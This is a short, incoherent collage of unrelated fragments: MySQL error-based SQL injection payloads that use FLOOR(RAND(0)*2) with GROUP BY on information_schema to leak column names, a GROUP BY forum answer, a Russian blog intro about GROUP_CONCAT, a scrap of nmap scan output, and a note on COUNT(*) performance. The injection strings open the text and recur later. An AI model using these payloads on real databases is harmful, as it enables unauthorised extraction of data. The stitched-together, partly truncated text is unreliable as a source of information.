' AND (SELECT 4287 FROM(SELECT COUNT(*),CONCAT(0x716a787071,(SELECT (ELT(4287=4287,1))),0x717a6a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x).
select town, count(town) from user group by town. You can use most aggregate functions when using GROUP BY. Update (following change to question and comments). You can declare a variable for the number of users and set it to the number of users then select with that.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
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GROUP_CONCAT( ) в Mysql. Сегодня хочу рассказать об интересной функции в Mysql. Как оказалось, знают ее очень не многие программисты, уж не знаю почему ей мало кто пользуется, но я опросил десятка два своих знакомых и меньше половины знали о GROUP_CONCAT.
Что называется total shared groups. В итоге всё поместилось в один компактный запрос без
IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE HOP RTT ADDRESS 1 0.40 ms 192.168.1.20NSE: Script Post-scanning. Initiating NSE at 16:34 Completed NSE at 16:34, 0.01s elapsed Initiating NSE at 16:34...
Processing SELECT COUNT(*) statements takes some time if index records are not entirely in the buffer pool.